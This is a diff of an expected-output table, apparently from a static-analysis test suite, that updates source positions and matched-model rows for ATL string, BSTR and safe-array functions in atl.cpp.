-| atl.cpp:1049:3:1049:10 | CStringT | (wchar_t,int) | CStringT | CStringT | 0 |
-| atl.cpp:1049:3:1049:10 | CStringT | (wchar_t,int) | CStringT | CStringT | 1 |
-| atl.cpp:1060:8:1060:19 | AppendFormat | (PCXSTR,...) | CStringT | AppendFormat | 0 |
-| atl.cpp:1060:8:1060:19 | AppendFormat | (PCXSTR,...) | CStringT | AppendFormat | 1 |
-| atl.cpp:1060:8:1060:19 | AppendFormat | (PCXSTR,...) | CStringT | Format | 0 |
-| atl.cpp:1060:8:1060:19 | AppendFormat | (PCXSTR,...) | CStringT | Format | 1 |
-| atl.cpp:1060:8:1060:19 | AppendFormat | (PCXSTR,...) | CStringT | FormatMessage | 0 |
-| atl.cpp:1060:8:1060:19 | AppendFormat | (PCXSTR,...) | CStringT | FormatMessage | 1 |
-| atl.cpp:1060:8:1060:19 | AppendFormat | (UINT,...) | CStringT | AppendFormat | 1 |
-| atl.cpp:1060:8:1060:19 | AppendFormat | (UINT,...) | CStringT | Format | 1 |
-| atl.cpp:1060:8:1060:19 | AppendFormat | (UINT,...) | CStringT | FormatMessage | 1 |
-| atl.cpp:1061:8:1061:19 | AppendFormat | (PCXSTR,...) | CStringT | AppendFormat | 1 |
-| atl.cpp:1061:8:1061:19 | AppendFormat | (PCXSTR,...) | CStringT | Format | 1 |
-| atl.cpp:1061:8:1061:19 | AppendFormat | (PCXSTR,...) | CStringT | FormatMessage | 1 |
-| atl.cpp:1061:8:1061:19 | AppendFormat | (UINT,...) | CStringT | AppendFormat | 0 |
-| atl.cpp:1061:8:1061:19 | AppendFormat | (UINT,...) | CStringT | AppendFormat | 1 |
-| atl.cpp:1061:8:1061:19 | AppendFormat | (UINT,...) | CStringT | Format | 0 |
-| atl.cpp:1061:8:1061:19 | AppendFormat | (UINT,...) | CStringT | Format | 1 |
-| atl.cpp:1061:8:1061:19 | AppendFormat | (UINT,...) | CStringT | FormatMessage | 0 |
-| atl.cpp:1061:8:1061:19 | AppendFormat | (UINT,...) | CStringT | FormatMessage | 1 |
-| atl.cpp:1069:7:1069:12 | Insert | (PCXSTR,PCXSTR) | CStringT | Replace | 1 |
-| atl.cpp:1069:7:1069:12 | Insert | (const CStringT &,PCXSTR) |  | operator+ | 1 |
-| atl.cpp:1069:7:1069:12 | Insert | (int,PCXSTR) | CStringT | Insert | 0 |
-| atl.cpp:1069:7:1069:12 | Insert | (int,PCXSTR) | CStringT | Insert | 1 |
-| atl.cpp:1070:7:1070:12 | Insert | (XCHAR,XCHAR) | CStringT | Replace | 1 |
-| atl.cpp:1070:7:1070:12 | Insert | (int,XCHAR) | CStringT | Insert | 0 |
-| atl.cpp:1070:7:1070:12 | Insert | (int,XCHAR) | CStringT | Insert | 1 |
-| atl.cpp:1074:8:1074:17 | LoadString | (UINT) | CComBSTR | LoadString | 0 |
-| atl.cpp:1074:8:1074:17 | LoadString | (UINT) | _U_STRINGorID | _U_STRINGorID | 0 |
-| atl.cpp:1078:12:1078:14 | Mid | (LPCOLESTR,int) | CComBSTR | Append | 1 |
-| atl.cpp:1078:12:1078:14 | Mid | (char,int) | CStringT | CStringT | 1 |
-| atl.cpp:1078:12:1078:14 | Mid | (const XCHAR *,int) | CStringT | CStringT | 1 |
-| atl.cpp:1078:12:1078:14 | Mid | (const YCHAR *,int) | CStringT | CStringT | 1 |
-| atl.cpp:1078:12:1078:14 | Mid | (wchar_t,int) | CStringT | CStringT | 1 |
-| atl.cpp:1080:7:1080:13 | Replace | (PCXSTR,PCXSTR) | CStringT | Replace | 0 |
-| atl.cpp:1080:7:1080:13 | Replace | (PCXSTR,PCXSTR) | CStringT | Replace | 1 |
-| atl.cpp:1080:7:1080:13 | Replace | (const CStringT &,PCXSTR) |  | operator+ | 1 |
-| atl.cpp:1080:7:1080:13 | Replace | (int,PCXSTR) | CStringT | Insert | 1 |
-| atl.cpp:1081:7:1081:13 | Replace | (XCHAR,XCHAR) | CStringT | Replace | 0 |
-| atl.cpp:1081:7:1081:13 | Replace | (XCHAR,XCHAR) | CStringT | Replace | 1 |
-| atl.cpp:1081:7:1081:13 | Replace | (int,XCHAR) | CStringT | Insert | 1 |
-| atl.cpp:1084:12:1084:24 | SpanExcluding | (PCXSTR) |  | operator+= | 0 |
-| atl.cpp:1084:12:1084:24 | SpanExcluding | (PCXSTR) | CSimpleStringT | operator+= | 0 |
-| atl.cpp:1084:12:1084:24 | SpanExcluding | (PCXSTR) | CStringT | operator= | 0 |
-| atl.cpp:1085:12:1085:24 | SpanIncluding | (PCXSTR) |  | operator+= | 0 |
-| atl.cpp:1085:12:1085:24 | SpanIncluding | (PCXSTR) | CSimpleStringT | operator+= | 0 |
-| atl.cpp:1085:12:1085:24 | SpanIncluding | (PCXSTR) | CStringT | operator= | 0 |
-| atl.cpp:1087:13:1087:16 | Trim | (XCHAR) | CStringT | operator= | 0 |
-| atl.cpp:1088:13:1088:16 | Trim | (PCXSTR) |  | operator+= | 0 |
-| atl.cpp:1088:13:1088:16 | Trim | (PCXSTR) | CSimpleStringT | operator+= | 0 |
-| atl.cpp:1088:13:1088:16 | Trim | (PCXSTR) | CStringT | operator= | 0 |
-| atl.cpp:1090:13:1090:20 | TrimLeft | (XCHAR) | CStringT | operator= | 0 |
-| atl.cpp:1091:13:1091:20 | TrimLeft | (PCXSTR) |  | operator+= | 0 |
-| atl.cpp:1091:13:1091:20 | TrimLeft | (PCXSTR) | CSimpleStringT | operator+= | 0 |
-| atl.cpp:1091:13:1091:20 | TrimLeft | (PCXSTR) | CStringT | operator= | 0 |
-| atl.cpp:1093:13:1093:21 | TrimRight | (XCHAR) | CStringT | operator= | 0 |
-| atl.cpp:1094:13:1094:21 | TrimRight | (PCXSTR) |  | operator+= | 0 |
-| atl.cpp:1094:13:1094:21 | TrimRight | (PCXSTR) | CSimpleStringT | operator+= | 0 |
-| atl.cpp:1094:13:1094:21 | TrimRight | (PCXSTR) | CStringT | operator= | 0 |
+| atl.cpp:71:5:71:17 | _U_STRINGorID | (UINT) | CComBSTR | LoadString | 0 |
+| atl.cpp:71:5:71:17 | _U_STRINGorID | (UINT) | _U_STRINGorID | _U_STRINGorID | 0 |
+| atl.cpp:72:5:72:17 | _U_STRINGorID | (LPCTSTR) | _U_STRINGorID | _U_STRINGorID | 0 |
+| atl.cpp:259:5:259:12 | CAtlList | (UINT) | CComBSTR | LoadString | 0 |
+| atl.cpp:259:5:259:12 | CAtlList | (UINT) | CComBSTR | LoadString | 0 |
+| atl.cpp:259:5:259:12 | CAtlList | (UINT) | _U_STRINGorID | _U_STRINGorID | 0 |
+| atl.cpp:259:5:259:12 | CAtlList | (UINT) | _U_STRINGorID | _U_STRINGorID | 0 |
+| atl.cpp:409:10:409:10 | operator= | (const CComBSTR &) | CComBSTR | Append | 0 |
+| atl.cpp:409:10:409:10 | operator= | (const CComBSTR &) | CComBSTR | CComBSTR | 0 |
+| atl.cpp:411:5:411:12 | CComBSTR | (const CComBSTR &) | CComBSTR | Append | 0 |
+| atl.cpp:411:5:411:12 | CComBSTR | (const CComBSTR &) | CComBSTR | CComBSTR | 0 |
+| atl.cpp:413:5:413:12 | CComBSTR | (int,LPCOLESTR) | CComBSTR | CComBSTR | 0 |
+| atl.cpp:413:5:413:12 | CComBSTR | (int,LPCOLESTR) | CComBSTR | CComBSTR | 1 |
+| atl.cpp:414:5:414:12 | CComBSTR | (int,LPCSTR) | CComBSTR | CComBSTR | 0 |
+| atl.cpp:414:5:414:12 | CComBSTR | (int,LPCSTR) | CComBSTR | CComBSTR | 1 |
+| atl.cpp:415:5:415:12 | CComBSTR | (LPCOLESTR) | CComBSTR | Append | 0 |
+| atl.cpp:415:5:415:12 | CComBSTR | (LPCOLESTR) | CComBSTR | CComBSTR | 0 |
+| atl.cpp:416:5:416:12 | CComBSTR | (LPCSTR) | CComBSTR | Append | 0 |
+| atl.cpp:416:5:416:12 | CComBSTR | (LPCSTR) | CComBSTR | CComBSTR | 0 |
+| atl.cpp:417:5:417:12 | CComBSTR | (CComBSTR &&) | CComBSTR | CComBSTR | 0 |
+| atl.cpp:420:13:420:18 | Append | (const CComBSTR &) | CComBSTR | Append | 0 |
+| atl.cpp:420:13:420:18 | Append | (const CComBSTR &) | CComBSTR | CComBSTR | 0 |
+| atl.cpp:421:13:421:18 | Append | (wchar_t) |  | operator+= | 0 |
+| atl.cpp:421:13:421:18 | Append | (wchar_t) | CComBSTR | Append | 0 |
+| atl.cpp:421:13:421:18 | Append | (wchar_t) | CSimpleStringT | operator+= | 0 |
+| atl.cpp:422:13:422:18 | Append | (char) |  | operator+= | 0 |
+| atl.cpp:422:13:422:18 | Append | (char) | CComBSTR | Append | 0 |
+| atl.cpp:422:13:422:18 | Append | (char) | CSimpleStringT | operator+= | 0 |
+| atl.cpp:423:13:423:18 | Append | (LPCOLESTR) | CComBSTR | Append | 0 |
+| atl.cpp:423:13:423:18 | Append | (LPCOLESTR) | CComBSTR | CComBSTR | 0 |
+| atl.cpp:424:13:424:18 | Append | (LPCSTR) | CComBSTR | Append | 0 |
+| atl.cpp:424:13:424:18 | Append | (LPCSTR) | CComBSTR | CComBSTR | 0 |
+| atl.cpp:425:13:425:18 | Append | (LPCOLESTR,int) | CComBSTR | Append | 0 |
+| atl.cpp:425:13:425:18 | Append | (LPCOLESTR,int) | CComBSTR | Append | 1 |
+| atl.cpp:425:13:425:18 | Append | (char,int) | CStringT | CStringT | 1 |
+| atl.cpp:425:13:425:18 | Append | (const XCHAR *,int) | CStringT | CStringT | 1 |
+| atl.cpp:425:13:425:18 | Append | (const YCHAR *,int) | CStringT | CStringT | 1 |
+| atl.cpp:425:13:425:18 | Append | (wchar_t,int) | CStringT | CStringT | 1 |
+| atl.cpp:426:13:426:22 | AppendBSTR | (wchar_t *) | CStringT | CStringT | 0 |
+| atl.cpp:427:13:427:23 | AppendBytes | (LPCOLESTR,int) | CComBSTR | Append | 1 |
+| atl.cpp:427:13:427:23 | AppendBytes | (char,int) | CStringT | CStringT | 1 |
+| atl.cpp:427:13:427:23 | AppendBytes | (const XCHAR *,int) | CStringT | CStringT | 1 |
+| atl.cpp:427:13:427:23 | AppendBytes | (const YCHAR *,int) | CStringT | CStringT | 1 |
+| atl.cpp:427:13:427:23 | AppendBytes | (wchar_t,int) | CStringT | CStringT | 1 |
+| atl.cpp:428:13:428:23 | ArrayToBSTR | (const SAFEARRAY *) | CComSafeArray | Add | 0 |
+| atl.cpp:428:13:428:23 | ArrayToBSTR | (const SAFEARRAY *) | CComSafeArray | CComSafeArray | 0 |
+| atl.cpp:428:13:428:23 | ArrayToBSTR | (const SAFEARRAY *) | CComSafeArray | operator= | 0 |
+| atl.cpp:430:10:430:15 | Attach | (wchar_t *) | CStringT | CStringT | 0 |
+| atl.cpp:440:10:440:19 | LoadString | (HINSTANCE,UINT) | CComBSTR | LoadString | 0 |
+| atl.cpp:440:10:440:19 | LoadString | (HINSTANCE,UINT) | CComBSTR | LoadString | 1 |
+| atl.cpp:441:10:441:19 | LoadString | (UINT) | CComBSTR | LoadString | 0 |
+| atl.cpp:441:10:441:19 | LoadString | (UINT) | _U_STRINGorID | _U_STRINGorID | 0 |
+| atl.cpp:449:15:449:24 | operator+= | (const CComBSTR &) | CComBSTR | Append | 0 |
+| atl.cpp:449:15:449:24 | operator+= | (const CComBSTR &) | CComBSTR | CComBSTR | 0 |
+| atl.cpp:450:15:450:24 | operator+= | (LPCOLESTR) | CComBSTR | Append | 0 |
+| atl.cpp:450:15:450:24 | operator+= | (LPCOLESTR) | CComBSTR | CComBSTR | 0 |
+| atl.cpp:540:5:540:17 | CComSafeArray | (const SAFEARRAY *) | CComSafeArray | Add | 0 |
+| atl.cpp:540:5:540:17 | CComSafeArray | (const SAFEARRAY *) | CComSafeArray | CComSafeArray | 0 |
+| atl.cpp:540:5:540:17 | CComSafeArray | (const SAFEARRAY *) | CComSafeArray | operator= | 0 |
+| atl.cpp:544:13:544:15 | Add | (const SAFEARRAY *) | CComSafeArray | Add | 0 |
+| atl.cpp:544:13:544:15 | Add | (const SAFEARRAY *) | CComSafeArray | CComSafeArray | 0 |
+| atl.cpp:544:13:544:15 | Add | (const SAFEARRAY *) | CComSafeArray | operator= | 0 |
+| atl.cpp:546:13:546:15 | Add | (const T &,BOOL) | CComSafeArray<T> | Add | 0 |
+| atl.cpp:546:13:546:15 | Add | (const T &,BOOL) | CComSafeArray<T> | Add | 1 |
+| atl.cpp:612:5:612:10 | CPathT | (PCXSTR) |  | operator+= | 0 |
+| atl.cpp:612:5:612:10 | CPathT | (PCXSTR) | CSimpleStringT | operator+= | 0 |
+| atl.cpp:612:5:612:10 | CPathT | (PCXSTR) | CStringT | operator= | 0 |
+| atl.cpp:617:10:617:21 | AddExtension | (PCXSTR) |  | operator+= | 0 |
+| atl.cpp:617:10:617:21 | AddExtension | (PCXSTR) | CSimpleStringT | operator+= | 0 |
+| atl.cpp:617:10:617:21 | AddExtension | (PCXSTR) | CStringT | operator= | 0 |
+| atl.cpp:618:10:618:15 | Append | (PCXSTR) |  | operator+= | 0 |
+| atl.cpp:618:10:618:15 | Append | (PCXSTR) | CSimpleStringT | operator+= | 0 |
+| atl.cpp:618:10:618:15 | Append | (PCXSTR) | CStringT | operator= | 0 |
+| atl.cpp:621:10:621:16 | Combine | (PCXSTR,PCXSTR) | CStringT | Replace | 0 |
+| atl.cpp:621:10:621:16 | Combine | (PCXSTR,PCXSTR) | CStringT | Replace | 1 |
+| atl.cpp:621:10:621:16 | Combine | (const CStringT &,PCXSTR) |  | operator+ | 1 |
+| atl.cpp:621:10:621:16 | Combine | (int,PCXSTR) | CStringT | Insert | 1 |
+| atl.cpp:622:24:622:35 | CommonPrefix | (PCXSTR) |  | operator+= | 0 |
+| atl.cpp:622:24:622:35 | CommonPrefix | (PCXSTR) | CSimpleStringT | operator+= | 0 |
+| atl.cpp:622:24:622:35 | CommonPrefix | (PCXSTR) | CStringT | operator= | 0 |
+| atl.cpp:659:25:659:34 | operator+= | (PCXSTR) |  | operator+= | 0 |
+| atl.cpp:659:25:659:34 | operator+= | (PCXSTR) | CSimpleStringT | operator+= | 0 |
+| atl.cpp:659:25:659:34 | operator+= | (PCXSTR) | CStringT | operator= | 0 |
+| atl.cpp:765:10:765:12 | Add | (const deque &,const Allocator &) | deque<T,Allocator> | deque | 1 |
+| atl.cpp:765:10:765:12 | Add | (const forward_list &,const Allocator &) | forward_list<T,Allocator> | forward_list | 1 |
+| atl.cpp:765:10:765:12 | Add | (const list &,const Allocator &) | list<T,Allocator> | list | 1 |
+| atl.cpp:765:10:765:12 | Add | (const vector &,const Allocator &) | vector<T,Allocator> | vector | 1 |
+| atl.cpp:765:10:765:12 | Add | (deque &&,const Allocator &) | deque<T,Allocator> | deque | 1 |
+| atl.cpp:765:10:765:12 | Add | (forward_list &&,const Allocator &) | forward_list<T,Allocator> | forward_list | 1 |
+| atl.cpp:765:10:765:12 | Add | (list &&,const Allocator &) | list<T,Allocator> | list | 1 |
+| atl.cpp:765:10:765:12 | Add | (vector &&,const Allocator &) | vector<T,Allocator> | vector | 1 |
+| atl.cpp:776:10:776:14 | SetAt | (const deque &,const Allocator &) | deque<T,Allocator> | deque | 1 |
+| atl.cpp:776:10:776:14 | SetAt | (const forward_list &,const Allocator &) | forward_list<T,Allocator> | forward_list | 1 |
+| atl.cpp:776:10:776:14 | SetAt | (const list &,const Allocator &) | list<T,Allocator> | list | 1 |
+| atl.cpp:776:10:776:14 | SetAt | (const vector &,const Allocator &) | vector<T,Allocator> | vector | 1 |
+| atl.cpp:776:10:776:14 | SetAt | (deque &&,const Allocator &) | deque<T,Allocator> | deque | 1 |
+| atl.cpp:776:10:776:14 | SetAt | (forward_list &&,const Allocator &) | forward_list<T,Allocator> | forward_list | 1 |
+| atl.cpp:776:10:776:14 | SetAt | (list &&,const Allocator &) | list<T,Allocator> | list | 1 |
+| atl.cpp:776:10:776:14 | SetAt | (vector &&,const Allocator &) | vector<T,Allocator> | vector | 1 |
+| atl.cpp:777:10:777:19 | SetAtIndex | (InputIterator,InputIterator,const Allocator &) | deque<T,Allocator> | deque<InputIterator> | 2 |
+| atl.cpp:777:10:777:19 | SetAtIndex | (InputIterator,InputIterator,const Allocator &) | forward_list<T,Allocator> | forward_list | 2 |
+| atl.cpp:777:10:777:19 | SetAtIndex | (InputIterator,InputIterator,const Allocator &) | list<T,Allocator> | list<InputIterator> | 2 |
+| atl.cpp:777:10:777:19 | SetAtIndex | (InputIterator,InputIterator,const Allocator &) | vector<T,Allocator> | vector<InputIterator> | 2 |
+| atl.cpp:777:10:777:19 | SetAtIndex | (size_type,const T &,const Allocator &) | deque<T,Allocator> | deque | 1 |
+| atl.cpp:777:10:777:19 | SetAtIndex | (size_type,const T &,const Allocator &) | deque<T,Allocator> | deque | 2 |
+| atl.cpp:777:10:777:19 | SetAtIndex | (size_type,const T &,const Allocator &) | forward_list<T,Allocator> | forward_list | 1 |
+| atl.cpp:777:10:777:19 | SetAtIndex | (size_type,const T &,const Allocator &) | forward_list<T,Allocator> | forward_list | 2 |
+| atl.cpp:777:10:777:19 | SetAtIndex | (size_type,const T &,const Allocator &) | list<T,Allocator> | list | 1 |
+| atl.cpp:777:10:777:19 | SetAtIndex | (size_type,const T &,const Allocator &) | list<T,Allocator> | list | 2 |
+| atl.cpp:777:10:777:19 | SetAtIndex | (size_type,const T &,const Allocator &) | vector<T,Allocator> | vector | 1 |
+| atl.cpp:777:10:777:19 | SetAtIndex | (size_type,const T &,const Allocator &) | vector<T,Allocator> | vector | 2 |
+| atl.cpp:842:17:842:28 | SetExtraInfo | (LPCTSTR) | _U_STRINGorID | _U_STRINGorID | 0 |
+| atl.cpp:843:17:843:27 | SetHostName | (LPCTSTR) | _U_STRINGorID | _U_STRINGorID | 0 |
+| atl.cpp:844:17:844:27 | SetPassword | (LPCTSTR) | _U_STRINGorID | _U_STRINGorID | 0 |
+| atl.cpp:847:17:847:29 | SetSchemeName | (LPCTSTR) | _U_STRINGorID | _U_STRINGorID | 0 |
+| atl.cpp:848:17:848:26 | SetUrlPath | (LPCTSTR) | _U_STRINGorID | _U_STRINGorID | 0 |
+| atl.cpp:849:17:849:27 | SetUserName | (LPCTSTR) | _U_STRINGorID | _U_STRINGorID | 0 |
+| atl.cpp:915:5:915:18 | CSimpleStringT | (const XCHAR *,int,IAtlStringMgr *) | CSimpleStringT | CSimpleStringT | 0 |
+| atl.cpp:915:5:915:18 | CSimpleStringT | (const XCHAR *,int,IAtlStringMgr *) | CSimpleStringT | CSimpleStringT | 1 |
+| atl.cpp:915:5:915:18 | CSimpleStringT | (const XCHAR *,int,IAtlStringMgr *) | CSimpleStringT | CSimpleStringT | 2 |
+| atl.cpp:915:5:915:18 | CSimpleStringT | (const YCHAR *,int,IAtlStringMgr *) | CStringT | CStringT | 1 |
+| atl.cpp:915:5:915:18 | CSimpleStringT | (const YCHAR *,int,IAtlStringMgr *) | CStringT | CStringT | 2 |
+| atl.cpp:916:5:916:18 | CSimpleStringT | (LPCSTR,IAtlStringMgr *) | CStringT | CStringT | 1 |
+| atl.cpp:916:5:916:18 | CSimpleStringT | (LPCWSTR,IAtlStringMgr *) | CStringT | CStringT | 1 |
+| atl.cpp:916:5:916:18 | CSimpleStringT | (PCXSTR,IAtlStringMgr *) | CSimpleStringT | CSimpleStringT | 0 |
+| atl.cpp:916:5:916:18 | CSimpleStringT | (PCXSTR,IAtlStringMgr *) | CSimpleStringT | CSimpleStringT | 1 |
+| atl.cpp:916:5:916:18 | CSimpleStringT | (const VARIANT &,IAtlStringMgr *) | CStringT | CStringT | 1 |
+| atl.cpp:916:5:916:18 | CSimpleStringT | (const unsigned char *,IAtlStringMgr *) | CStringT | CStringT | 1 |
+| atl.cpp:917:5:917:18 | CSimpleStringT | (const CSimpleStringT &) |  | operator+= | 0 |
+| atl.cpp:917:5:917:18 | CSimpleStringT | (const CSimpleStringT &) | CSimpleStringT | CSimpleStringT | 0 |
+| atl.cpp:917:5:917:18 | CSimpleStringT | (const CSimpleStringT &) | CSimpleStringT | operator+= | 0 |
+| atl.cpp:917:5:917:18 | CSimpleStringT | (const CSimpleStringT &) | CStringT | CStringT | 0 |
+| atl.cpp:917:5:917:18 | CSimpleStringT | (const CSimpleStringT &) | CStringT | operator= | 0 |
+| atl.cpp:921:10:921:15 | Append | (const CSimpleStringT &) |  | operator+= | 0 |
+| atl.cpp:921:10:921:15 | Append | (const CSimpleStringT &) | CSimpleStringT | CSimpleStringT | 0 |
+| atl.cpp:921:10:921:15 | Append | (const CSimpleStringT &) | CSimpleStringT | operator+= | 0 |
+| atl.cpp:921:10:921:15 | Append | (const CSimpleStringT &) | CStringT | CStringT | 0 |
+| atl.cpp:921:10:921:15 | Append | (const CSimpleStringT &) | CStringT | operator= | 0 |
+| atl.cpp:922:10:922:15 | Append | (LPCOLESTR,int) | CComBSTR | Append | 1 |
+| atl.cpp:922:10:922:15 | Append | (char,int) | CStringT | CStringT | 1 |
+| atl.cpp:922:10:922:15 | Append | (const XCHAR *,int) | CStringT | CStringT | 1 |
+| atl.cpp:922:10:922:15 | Append | (const YCHAR *,int) | CStringT | CStringT | 1 |
+| atl.cpp:922:10:922:15 | Append | (wchar_t,int) | CStringT | CStringT | 1 |
+| atl.cpp:923:10:923:15 | Append | (PCXSTR) |  | operator+= | 0 |
+| atl.cpp:923:10:923:15 | Append | (PCXSTR) | CSimpleStringT | operator+= | 0 |
+| atl.cpp:923:10:923:15 | Append | (PCXSTR) | CStringT | operator= | 0 |
+| atl.cpp:927:17:927:25 | CopyChars | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyChars | 0 |
+| atl.cpp:927:17:927:25 | CopyChars | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyChars | 1 |
+| atl.cpp:927:17:927:25 | CopyChars | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyChars | 2 |
+| atl.cpp:927:17:927:25 | CopyChars | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyCharsOverlapped | 0 |
+| atl.cpp:927:17:927:25 | CopyChars | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyCharsOverlapped | 1 |
+| atl.cpp:927:17:927:25 | CopyChars | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyCharsOverlapped | 2 |
+| atl.cpp:928:17:928:25 | CopyChars | (XCHAR *,size_t,const XCHAR *,int) | CSimpleStringT | CopyChars | 0 |
+| atl.cpp:928:17:928:25 | CopyChars | (XCHAR *,size_t,const XCHAR *,int) | CSimpleStringT | CopyChars | 1 |
+| atl.cpp:928:17:928:25 | CopyChars | (XCHAR *,size_t,const XCHAR *,int) | CSimpleStringT | CopyChars | 2 |
+| atl.cpp:928:17:928:25 | CopyChars | (XCHAR *,size_t,const XCHAR *,int) | CSimpleStringT | CopyChars | 3 |
+| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyChars | 0 |
+| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyChars | 1 |
+| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyChars | 2 |
+| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyCharsOverlapped | 0 |
+| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyCharsOverlapped | 1 |
+| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyCharsOverlapped | 2 |
+| atl.cpp:938:10:938:14 | SetAt | (XCHAR,XCHAR) | CStringT | Replace | 1 |
+| atl.cpp:938:10:938:14 | SetAt | (const CStringT &,char) |  | operator+ | 1 |
+| atl.cpp:938:10:938:14 | SetAt | (int,XCHAR) | CStringT | Insert | 0 |
+| atl.cpp:938:10:938:14 | SetAt | (int,XCHAR) | CStringT | Insert | 1 |
+| atl.cpp:939:10:939:18 | SetString | (LPCOLESTR,int) | CComBSTR | Append | 1 |
+| atl.cpp:939:10:939:18 | SetString | (char,int) | CStringT | CStringT | 1 |
+| atl.cpp:939:10:939:18 | SetString | (const XCHAR *,int) | CStringT | CStringT | 1 |
+| atl.cpp:939:10:939:18 | SetString | (const YCHAR *,int) | CStringT | CStringT | 1 |
+| atl.cpp:939:10:939:18 | SetString | (wchar_t,int) | CStringT | CStringT | 1 |
+| atl.cpp:940:10:940:18 | SetString | (PCXSTR) |  | operator+= | 0 |
+| atl.cpp:940:10:940:18 | SetString | (PCXSTR) | CSimpleStringT | operator+= | 0 |
+| atl.cpp:940:10:940:18 | SetString | (PCXSTR) | CStringT | operator= | 0 |
+| atl.cpp:1036:5:1036:12 | CStringT | (const VARIANT &) |  | operator+= | 0 |
+| atl.cpp:1036:5:1036:12 | CStringT | (const VARIANT &) | CStringT | CStringT | 0 |
+| atl.cpp:1036:5:1036:12 | CStringT | (const VARIANT &) | CStringT | operator= | 0 |
+| atl.cpp:1037:5:1037:12 | CStringT | (LPCSTR,IAtlStringMgr *) | CStringT | CStringT | 1 |
+| atl.cpp:1037:5:1037:12 | CStringT | (LPCWSTR,IAtlStringMgr *) | CStringT | CStringT | 1 |
+| atl.cpp:1037:5:1037:12 | CStringT | (PCXSTR,IAtlStringMgr *) | CSimpleStringT | CSimpleStringT | 1 |
+| atl.cpp:1037:5:1037:12 | CStringT | (const VARIANT &,IAtlStringMgr *) | CStringT | CStringT | 0 |
+| atl.cpp:1037:5:1037:12 | CStringT | (const VARIANT &,IAtlStringMgr *) | CStringT | CStringT | 1 |
+| atl.cpp:1037:5:1037:12 | CStringT | (const unsigned char *,IAtlStringMgr *) | CStringT | CStringT | 1 |
+| atl.cpp:1038:5:1038:12 | CStringT | (const CStringT &) | CStringT | CStringT | 0 |
+| atl.cpp:1038:5:1038:12 | CStringT | (const CStringT &) | CStringT | operator= | 0 |
+| atl.cpp:1042:5:1042:12 | CStringT | (LPCSTR,IAtlStringMgr *) | CStringT | CStringT | 0 |
+| atl.cpp:1042:5:1042:12 | CStringT | (LPCSTR,IAtlStringMgr *) | CStringT | CStringT | 1 |
+| atl.cpp:1042:5:1042:12 | CStringT | (LPCWSTR,IAtlStringMgr *) | CStringT | CStringT | 1 |
+| atl.cpp:1042:5:1042:12 | CStringT | (PCXSTR,IAtlStringMgr *) | CSimpleStringT | CSimpleStringT | 1 |
+| atl.cpp:1042:5:1042:12 | CStringT | (const VARIANT &,IAtlStringMgr *) | CStringT | CStringT | 1 |
+| atl.cpp:1042:5:1042:12 | CStringT | (const unsigned char *,IAtlStringMgr *) | CStringT | CStringT | 1 |
+| atl.cpp:1043:5:1043:12 | CStringT | (LPCSTR,IAtlStringMgr *) | CStringT | CStringT | 1 |
+| atl.cpp:1043:5:1043:12 | CStringT | (LPCWSTR,IAtlStringMgr *) | CStringT | CStringT | 0 |
+| atl.cpp:1043:5:1043:12 | CStringT | (LPCWSTR,IAtlStringMgr *) | CStringT | CStringT | 1 |
+| atl.cpp:1043:5:1043:12 | CStringT | (PCXSTR,IAtlStringMgr *) | CSimpleStringT | CSimpleStringT | 1 |
+| atl.cpp:1043:5:1043:12 | CStringT | (const VARIANT &,IAtlStringMgr *) | CStringT | CStringT | 1 |
+| atl.cpp:1043:5:1043:12 | CStringT | (const unsigned char *,IAtlStringMgr *) | CStringT | CStringT | 1 |
+| atl.cpp:1045:5:1045:12 | CStringT | (char *) | CStringT | CStringT | 0 |
+| atl.cpp:1046:5:1046:12 | CStringT | (unsigned char *) | CStringT | CStringT | 0 |
+| atl.cpp:1047:5:1047:12 | CStringT | (wchar_t *) | CStringT | CStringT | 0 |
+| atl.cpp:1049:5:1049:12 | CStringT | (LPCOLESTR,int) | CComBSTR | Append | 1 |
+| atl.cpp:1049:5:1049:12 | CStringT | (char,int) | CStringT | CStringT | 0 |
+| atl.cpp:1049:5:1049:12 | CStringT | (char,int) | CStringT | CStringT | 1 |
+| atl.cpp:1049:5:1049:12 | CStringT | (const XCHAR *,int) | CStringT | CStringT | 1 |
+| atl.cpp:1049:5:1049:12 | CStringT | (const YCHAR *,int) | CStringT | CStringT | 1 |
+| atl.cpp:1049:5:1049:12 | CStringT | (wchar_t,int) | CStringT | CStringT | 1 |
+| atl.cpp:1050:5:1050:12 | CStringT | (LPCOLESTR,int) | CComBSTR | Append | 1 |
+| atl.cpp:1050:5:1050:12 | CStringT | (char,int) | CStringT | CStringT | 1 |
+| atl.cpp:1050:5:1050:12 | CStringT | (const XCHAR *,int) | CStringT | CStringT | 1 |
+| atl.cpp:1050:5:1050:12 | CStringT | (const YCHAR *,int) | CStringT | CStringT | 1 |
+| atl.cpp:1050:5:1050:12 | CStringT | (wchar_t,int) | CStringT | CStringT | 0 |
+| atl.cpp:1050:5:1050:12 | CStringT | (wchar_t,int) | CStringT | CStringT | 1 |
+| atl.cpp:1061:10:1061:21 | AppendFormat | (PCXSTR,...) | CStringT | AppendFormat | 0 |
+| atl.cpp:1061:10:1061:21 | AppendFormat | (PCXSTR,...) | CStringT | AppendFormat | 1 |
+| atl.cpp:1061:10:1061:21 | AppendFormat | (PCXSTR,...) | CStringT | Format | 0 |
+| atl.cpp:1061:10:1061:21 | AppendFormat | (PCXSTR,...) | CStringT | Format | 1 |
+| atl.cpp:1061:10:1061:21 | AppendFormat | (PCXSTR,...) | CStringT | FormatMessage | 0 |
+| atl.cpp:1061:10:1061:21 | AppendFormat | (PCXSTR,...) | CStringT | FormatMessage | 1 |
